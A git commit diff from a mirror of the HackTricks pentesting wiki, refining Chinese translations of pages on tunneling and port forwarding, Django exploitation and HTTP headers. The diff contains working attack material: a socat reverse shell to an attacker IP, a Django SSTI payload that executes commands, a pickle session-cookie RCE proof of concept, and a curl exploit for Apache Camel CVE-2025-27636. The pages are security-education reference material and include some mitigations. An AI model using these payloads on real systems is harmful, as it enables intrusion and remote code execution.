mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
Translator
parent
f44909abe9
commit
c3b989ff7e
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **安全 – Terrapin 攻击 (CVE-2023-48795)**
|
||||
> 2023年的Terrapin降级攻击可以让中间人篡改早期的SSH握手并将数据注入到**任何转发通道**（`-L`，`-R`，`-D`）。确保客户端和服务器都已打补丁（**OpenSSH ≥ 9.6/LibreSSH 6.7**），或者在依赖SSH隧道之前明确禁用易受攻击的`chacha20-poly1305@openssh.com`和`*-etm@openssh.com`算法，配置在`sshd_config`/`ssh_config`中。citeturn4search0
|
||||
> 2023年的Terrapin降级攻击可以让中间人篡改早期的SSH握手并将数据注入到**任何转发通道**（`-L`，`-R`，`-D`）。确保客户端和服务器都已打补丁（**OpenSSH ≥ 9.6/LibreSSH 6.7**），或者在依赖SSH隧道之前明确禁用易受攻击的`chacha20-poly1305@openssh.com`和`*-etm@openssh.com`算法，在`sshd_config`/`ssh_config`中进行设置。
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
@ -156,14 +156,14 @@ rportfwd stop [bind port]
|
||||
```
|
||||
需要注意：
|
||||
|
||||
- Beacon 的反向端口转发旨在 **将流量隧道传输到团队服务器，而不是在单个机器之间中继**。
|
||||
- 流量是 **在 Beacon 的 C2 流量中隧道传输**，包括 P2P 链接。
|
||||
- Beacon 的反向端口转发旨在 **将流量隧道传输到 Team Server，而不是在单个机器之间中继**。
|
||||
- 流量在 **Beacon 的 C2 流量中隧道传输**，包括 P2P 链接。
|
||||
- **不需要管理员权限** 来在高端口上创建反向端口转发。
|
||||
|
||||
### rPort2Port 本地
|
||||
|
||||
> [!WARNING]
|
||||
> 在这种情况下，**端口是在 beacon 主机上打开的**，而不是在团队服务器上，**流量被发送到 Cobalt Strike 客户端**（而不是团队服务器），然后从那里发送到指定的主机:端口。
|
||||
> 在这种情况下，**端口在 beacon 主机上打开**，而不是在 Team Server 上，**流量发送到 Cobalt Strike 客户端**（而不是 Team Server），然后从那里发送到指定的主机:端口。
|
||||
```bash
|
||||
rportfwd_local [bind port] [forward host] [forward port]
|
||||
rportfwd_local stop [bind port]
|
||||
@ -199,7 +199,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
||||
|
||||
[https://github.com/nicocha30/ligolo-ng](https://github.com/nicocha30/ligolo-ng)
|
||||
|
||||
**代理和代理使用相同的版本**
|
||||
**代理和代理使用相同版本**
|
||||
|
||||
### 隧道技术
|
||||
```bash
|
||||
@ -250,7 +250,7 @@ attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999
|
||||
```
|
||||
通过 **NTLM 代理** 进行枢轴
|
||||
通过 **NTLM 代理** 进行中转
|
||||
```bash
|
||||
victim> python client.py --server-ip <rpivot_server_ip> --server-port 9999 --ntlm-proxy-ip <proxy_ip> --ntlm-proxy-port 8080 --domain CONTOSO.COM --username Alice --password P@ssw0rd
|
||||
```
|
||||
@ -276,7 +276,7 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
```bash
|
||||
socat TCP4-LISTEN:<lport>,fork TCP4:<redirect_ip>:<rport> &
|
||||
```
|
||||
### Port2Port通过socks
|
||||
### 通过socks的Port2Port
|
||||
```bash
|
||||
socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678
|
||||
```
|
||||
@ -294,8 +294,6 @@ victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
||||
|
||||
### SSL Socat Tunnel
|
||||
|
||||
**/bin/sh console**
|
||||
@ -326,7 +324,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
|
||||
它就像一个控制台版本的 PuTTY（选项与 ssh 客户端非常相似）。
|
||||
|
||||
由于这个二进制文件将在受害者的机器上执行，并且它是一个 ssh 客户端，我们需要打开我们的 ssh 服务和端口，以便能够建立反向连接。然后，将仅本地可访问的端口转发到我们机器上的一个端口：
|
||||
由于这个二进制文件将在受害者的机器上执行，并且它是一个 ssh 客户端，我们需要打开我们的 ssh 服务和端口，以便能够建立反向连接。然后，要将仅本地可访问的端口转发到我们机器上的一个端口：
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -347,10 +345,10 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
```
|
||||
## SocksOverRDP & Proxifier
|
||||
|
||||
您需要拥有**系统的 RDP 访问权限**。\
|
||||
您需要拥有**系统的RDP访问权限**。\
|
||||
下载：
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用 Windows 远程桌面服务功能中的 `Dynamic Virtual Channels` (`DVC`)。DVC 负责**在 RDP 连接上隧道数据包**。
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - 此工具使用Windows的远程桌面服务功能中的`动态虚拟通道`（`DVC`）。DVC负责**在RDP连接上隧道数据包**。
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
在您的客户端计算机上加载**`SocksOverRDP-Plugin.dll`**，如下所示：
|
||||
@ -358,7 +356,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**，我们应该收到一个 **prompt**，提示 **SocksOverRDP 插件已启用**，并且它将 **listen** 在 **127.0.0.1:1080**。
|
||||
现在我们可以通过 **RDP** 使用 **`mstsc.exe`** 连接到 **victim**，我们应该收到一个 **提示**，说明 **SocksOverRDP 插件已启用**，并且它将 **监听** 在 **127.0.0.1:1080**。
|
||||
|
||||
通过 **RDP** 连接并在受害者机器上上传并执行 `SocksOverRDP-Server.exe` 二进制文件：
|
||||
```
|
||||
@ -372,9 +370,9 @@ netstat -antb | findstr 1080
|
||||
|
||||
## 代理 Windows GUI 应用程序
|
||||
|
||||
您可以使用 [**Proxifier**](https://www.proxifier.com/) 使 Windows GUI 应用程序通过代理导航。\
|
||||
您可以使用 [**Proxifier**](https://www.proxifier.com/) 使 Windows GUI 应用程序通过代理进行导航。\
|
||||
在 **Profile -> Proxy Servers** 中添加 SOCKS 服务器的 IP 和端口。\
|
||||
在 **Profile -> Proxification Rules** 中添加要代理的程序名称和要代理的 IP 的连接。
|
||||
在 **Profile -> Proxification Rules** 中添加要代理的程序名称和要代理的 IP 连接。
|
||||
|
||||
## NTLM 代理绕过
|
||||
|
||||
@ -396,20 +394,20 @@ Domain CONTOSO.COM
|
||||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
现在，如果你在受害者的**SSH**服务上设置监听端口为443。你可以通过攻击者的2222端口连接到它。\
|
||||
你也可以使用一个连接到localhost:443的**meterpreter**，而攻击者在2222端口监听。
|
||||
现在，如果你在受害者的 **SSH** 服务上设置监听端口为 443。你可以通过攻击者的端口 2222 连接到它。\
|
||||
你也可以使用连接到 localhost:443 的 **meterpreter**，而攻击者在端口 2222 上监听。
|
||||
|
||||
## YARP
|
||||
|
||||
由微软创建的反向代理。你可以在这里找到它: [https://github.com/microsoft/reverse-proxy](https://github.com/microsoft/reverse-proxy)
|
||||
|
||||
## DNS Tunneling
|
||||
## DNS 隧道
|
||||
|
||||
### Iodine
|
||||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
在两个系统中都需要root权限，以创建tun适配器并通过DNS查询在它们之间隧道数据。
|
||||
在两个系统中都需要 root 权限，以创建 tun 适配器并通过 DNS 查询在它们之间隧道数据。
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
@ -483,7 +481,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
||||
```
|
||||
## ngrok
|
||||
|
||||
[**ngrok**](https://ngrok.com/) **是一个可以通过一条命令行将解决方案暴露到互联网的工具。**\
|
||||
[**ngrok**](https://ngrok.com/) **是一个可以通过一条命令将解决方案暴露到互联网的工具。**\
|
||||
_暴露的 URI 类似于:_ **UID.ngrok.io**
|
||||
|
||||
### 安装
|
||||
@ -500,7 +498,7 @@ chmod a+x ./ngrok
|
||||
|
||||
**文档:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
||||
|
||||
_如果需要，也可以添加身份验证和TLS。_
|
||||
_如果需要，也可以添加身份验证和 TLS。_
|
||||
|
||||
#### 隧道 TCP
|
||||
```bash
|
||||
@ -574,11 +572,11 @@ url: http://127.0.0.1:8000
|
||||
```bash
|
||||
cloudflared tunnel run mytunnel
|
||||
```
|
||||
因为所有流量都通过 **443 端口出站**，Cloudflared 隧道是绕过入口 ACL 或 NAT 边界的简单方法。请注意，二进制文件通常以提升的权限运行 – 尽可能使用容器或 `--user` 标志。 citeturn1search0
|
||||
因为所有流量都通过主机 **出站 443** 端口发送，Cloudflared 隧道是绕过入口 ACL 或 NAT 边界的简单方法。请注意，二进制文件通常以提升的权限运行 - 尽可能使用容器或 `--user` 标志。
|
||||
|
||||
## FRP (快速反向代理)
|
||||
|
||||
[`frp`](https://github.com/fatedier/frp) 是一个积极维护的 Go 反向代理，支持 **TCP、UDP、HTTP/S、SOCKS 和 P2P NAT 穿透**。从 **v0.53.0（2024年5月）** 开始，它可以充当 **SSH 隧道网关**，因此目标主机可以仅使用标准的 OpenSSH 客户端启动反向隧道 – 无需额外的二进制文件。
|
||||
[`frp`](https://github.com/fatedier/frp) 是一个积极维护的 Go 反向代理，支持 **TCP、UDP、HTTP/S、SOCKS 和 P2P NAT 穿透**。从 **v0.53.0（2024年5月）** 开始，它可以充当 **SSH 隧道网关**，因此目标主机可以仅使用标准的 OpenSSH 客户端启动反向隧道 - 无需额外的二进制文件。
|
||||
|
||||
### 经典反向 TCP 隧道
|
||||
```bash
|
||||
@ -608,7 +606,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
# On victim (OpenSSH client only)
|
||||
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
||||
```
|
||||
上述命令将受害者的端口 **8080** 发布为 **attacker_ip:9000**，无需部署任何额外工具 – 适合利用现有资源进行转发。 citeturn2search1
|
||||
上述命令将受害者的端口 **8080** 发布为 **attacker_ip:9000**，无需部署任何额外工具 – 非常适合利用现有资源进行转发。
|
||||
|
||||
## 其他检查工具
|
||||
|
||||
|
||||
@ -7,6 +7,73 @@ Django的默认缓存存储方法是[Python pickles](https://docs.python.org/3/l
|
||||
|
||||
Django缓存存储在四个地方之一：[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[内存](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[文件](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16)或[数据库](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)。存储在Redis服务器或数据库中的缓存是最可能的攻击向量（Redis注入和SQL注入），但攻击者也可能利用基于文件的缓存将任意写入转化为RCE。维护者已将此标记为非问题。需要注意的是，缓存文件夹、SQL表名和Redis服务器的详细信息将根据实现而有所不同。
|
||||
|
||||
此HackerOne报告提供了一个很好的、可重现的利用Django缓存存储在SQLite数据库中的示例：https://hackerone.com/reports/1415436
|
||||
此HackerOne报告提供了一个很好的、可重复的利用Django缓存存储在SQLite数据库中的示例：https://hackerone.com/reports/1415436
|
||||
|
||||
---
|
||||
|
||||
## 服务器端模板注入（SSTI）
|
||||
Django模板语言（DTL）是**图灵完备**的。如果用户提供的数据被渲染为*模板字符串*（例如通过调用`Template(user_input).render()`或当`|safe`/`format_html()`移除自动转义时），攻击者可能实现完整的SSTI → RCE。
|
||||
|
||||
### 检测
|
||||
1. 查找对`Template()` / `Engine.from_string()` / `render_to_string()`的动态调用，这些调用包含*任何*未清理的请求数据。
|
||||
2. 发送基于时间或算术的有效负载：
|
||||
```django
|
||||
{{7*7}}
|
||||
```
|
||||
如果渲染的输出包含`49`，则输入被模板引擎编译。
|
||||
|
||||
### 从原始到RCE
|
||||
Django阻止对`__import__`的直接访问，但Python对象图是可达的：
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()}}
|
||||
```
|
||||
找到 `subprocess.Popen` 的索引（约400–500，具体取决于Python构建）并执行任意命令：
|
||||
```django
|
||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||
```
|
||||
一个更安全的通用小工具是迭代直到 `cls.__name__ == 'Popen'`。
|
||||
|
||||
同样的小工具适用于 **Debug Toolbar** 或 **Django-CMS** 模板渲染功能，这些功能错误处理用户输入。
|
||||
|
||||
---
|
||||
|
||||
## 基于 Pickle 的会话 Cookie RCE
|
||||
如果设置 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` 被启用（或自定义反序列化 pickle 的序列化器），Django *在* 调用任何视图代码 **之前** 解密并反序列化会话 Cookie。因此，拥有一个有效的签名密钥（默认情况下是项目的 `SECRET_KEY`）就足以实现立即的远程代码执行。
|
||||
|
||||
### 利用要求
|
||||
* 服务器使用 `PickleSerializer`。
|
||||
* 攻击者知道/可以猜测 `settings.SECRET_KEY`（通过 GitHub、`.env`、错误页面等泄露）。
|
||||
|
||||
### 概念验证
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from django.contrib.sessions.serializers import PickleSerializer
|
||||
from django.core import signing
|
||||
import os, base64
|
||||
|
||||
class RCE(object):
|
||||
def __reduce__(self):
|
||||
return (os.system, ("id > /tmp/pwned",))
|
||||
|
||||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||||
print(f"sessionid={mal}")
|
||||
```
|
||||
发送结果 cookie，并且有效负载以 WSGI worker 的权限运行。
|
||||
|
||||
**缓解措施**：保持默认的 `JSONSerializer`，轮换 `SECRET_KEY`，并配置 `SESSION_COOKIE_HTTPONLY`。
|
||||
|
||||
---
|
||||
|
||||
## 最近（2023-2025）高影响 Django CVE 渗透测试人员应检查
|
||||
* **CVE-2025-48432** – *通过未转义的 `request.path` 进行日志注入*（修复于 2025 年 6 月 4 日）。允许攻击者将换行符/ANSI 代码注入日志文件，并污染下游日志分析。补丁级别 ≥ 4.2.22 / 5.1.10 / 5.2.2。
|
||||
* **CVE-2024-42005** – *在 `JSONField` 上的 `QuerySet.values()/values_list()` 中的关键 SQL 注入*（CVSS 9.8）。构造 JSON 键以突破引号并执行任意 SQL。修复于 4.2.15 / 5.0.8。
|
||||
|
||||
始终通过 `X-Frame-Options` 错误页面或 `/static/admin/css/base.css` 哈希指纹识别确切的框架版本，并在适用时测试上述内容。
|
||||
|
||||
---
|
||||
|
||||
## 参考
|
||||
* Django 安全发布 – "Django 5.2.2, 5.1.10, 4.2.22 解决 CVE-2025-48432" – 2025 年 6 月 4 日。
|
||||
* OP-Innovate: "Django 发布安全更新以解决 SQL 注入缺陷 CVE-2024-42005" – 2024 年 8 月 11 日。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
|
||||
@ -90,13 +90,13 @@
|
||||
|
||||
## 消息体信息
|
||||
|
||||
- **`Content-Length`:** 资源的大小，以十进制字节数表示。
|
||||
- **`Content-Length`:** 资源的大小，以字节的十进制数表示。
|
||||
- **`Content-Type`**: 指示资源的媒体类型
|
||||
- **`Content-Encoding`**: 用于指定压缩算法。
|
||||
- **`Content-Language`**: 描述面向受众的人类语言，以便允许用户根据用户自己的首选语言进行区分。
|
||||
- **`Content-Location`**: 指示返回数据的替代位置。
|
||||
|
||||
从渗透测试的角度来看，这些信息通常是“无用的”，但如果资源受到 **401** 或 **403** 的保护，并且您可以找到某种 **方法** 来 **获取** 这些 **信息**，这可能会是 **有趣的**。\
|
||||
从渗透测试的角度来看，这些信息通常是“无用的”，但如果资源受到 **401** 或 **403** 的保护，并且您可以找到某种 **方法** 来 **获取** 这些 **信息**，这可能是 **有趣的**。\
|
||||
例如，在 HEAD 请求中结合 **`Range`** 和 **`Etag`** 可以通过 HEAD 请求泄露页面的内容：
|
||||
|
||||
- 带有头 `Range: bytes=20-20` 的请求和包含 `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` 的响应泄露了字节 20 的 SHA1 为 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
@ -127,9 +127,9 @@ Content-Disposition: attachment; filename="filename.jpg"
|
||||
../../pentesting-web/content-security-policy-csp-bypass/
|
||||
{{#endref}}
|
||||
|
||||
### **受信任类型**
|
||||
### **受信任的类型**
|
||||
|
||||
通过 CSP 强制实施受信任类型，应用程序可以防止 DOM XSS 攻击。受信任类型确保只有符合既定安全政策的特定构造对象可以用于危险的 Web API 调用，从而默认保护 JavaScript 代码。
|
||||
通过 CSP 强制实施受信任的类型，应用程序可以防止 DOM XSS 攻击。受信任的类型确保只有符合既定安全政策的特定构造对象可以用于危险的 Web API 调用，从而默认保护 JavaScript 代码。
|
||||
```javascript
|
||||
// Feature detection
|
||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||
@ -148,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment.
|
||||
```
|
||||
### **X-Content-Type-Options**
|
||||
|
||||
此头部防止 MIME 类型嗅探，这是一种可能导致 XSS 漏洞的做法。它确保浏览器尊重服务器指定的 MIME 类型。
|
||||
此头部防止 MIME 类型嗅探，这是一种可能导致 XSS 漏洞的做法。它确保浏览器遵循服务器指定的 MIME 类型。
|
||||
```
|
||||
X-Content-Type-Options: nosniff
|
||||
```
|
||||
@ -158,7 +158,7 @@ X-Content-Type-Options: nosniff
|
||||
```
|
||||
X-Frame-Options: DENY
|
||||
```
|
||||
### **Cross-Origin Resource Policy (CORP) 和 Cross-Origin Resource Sharing (CORS)**
|
||||
### **跨源资源策略 (CORP) 和跨源资源共享 (CORS)**
|
||||
|
||||
CORP 对于指定哪些资源可以被网站加载至关重要，减轻跨站泄漏。另一方面，CORS 允许更灵活的跨源资源共享机制，在某些条件下放宽同源政策。
|
||||
```
|
||||
@ -179,8 +179,44 @@ Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||
```
|
||||
Strict-Transport-Security: max-age=3153600
|
||||
```
|
||||
## 参考
|
||||
## Header Name Casing Bypass
|
||||
|
||||
HTTP/1.1 定义头字段名称为 **不区分大小写** (RFC 9110 §5.1)。然而，常常会发现自定义中间件、安全过滤器或业务逻辑在比较接收到的 *字面* 头名称时没有先进行大小写规范化 (例如 `header.equals("CamelExecCommandExecutable")`)。如果这些检查是 **区分大小写** 的，攻击者可以通过发送相同的头但使用不同的大小写来绕过它们。
|
||||
|
||||
这种错误出现的典型情况：
|
||||
|
||||
* 自定义的允许/拒绝列表，试图在请求到达敏感组件之前阻止“危险”的内部头。
|
||||
* 内部实现的反向代理伪头 (例如 `X-Forwarded-For` 的清理)。
|
||||
* 暴露管理/调试端点并依赖头名称进行身份验证或命令选择的框架。
|
||||
|
||||
### Abusing the bypass
|
||||
|
||||
1. 识别一个在服务器端被过滤或验证的头（例如，通过阅读源代码、文档或错误消息）。
|
||||
2. 发送 **相同的头但使用不同的大小写**（混合大小写或大写）。因为 HTTP 堆栈通常只在用户代码运行后才规范化头，所以可以跳过脆弱的检查。
|
||||
3. 如果下游组件以不区分大小写的方式处理头（大多数是），它将接受攻击者控制的值。
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
在易受攻击的 Apache Camel 版本中，*Command Center* 路由试图通过去除头 `CamelExecCommandExecutable` 和 `CamelExecCommandArgs` 来阻止不受信任的请求。比较是通过 `equals()` 完成的，因此只有确切的小写名称被移除。
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
-H "CAmelExecCommandExecutable: ls" \
|
||||
-H "CAmelExecCommandArgs: /"
|
||||
```
|
||||
头部未经过滤地到达 `exec` 组件，导致以 Camel 进程的权限执行远程命令。
|
||||
|
||||
### 检测与缓解
|
||||
|
||||
* 在执行允许/拒绝比较之前，将所有头部名称规范化为单一大小写（通常为小写）。
|
||||
* 拒绝可疑的重复项：如果同时存在 `Header:` 和 `HeAdEr:`，则将其视为异常。
|
||||
* 在规范化后使用强制的正面允许列表。
|
||||
* 通过身份验证和网络分段保护管理端点。
|
||||
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [CVE-2025-27636 – RCE in Apache Camel via header casing bypass (OffSec blog)](https://www.offsec.com/blog/cve-2025-27636/)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition)
|
||||
- [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers)
|
||||
- [https://web.dev/security-headers/](https://web.dev/security-headers/)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user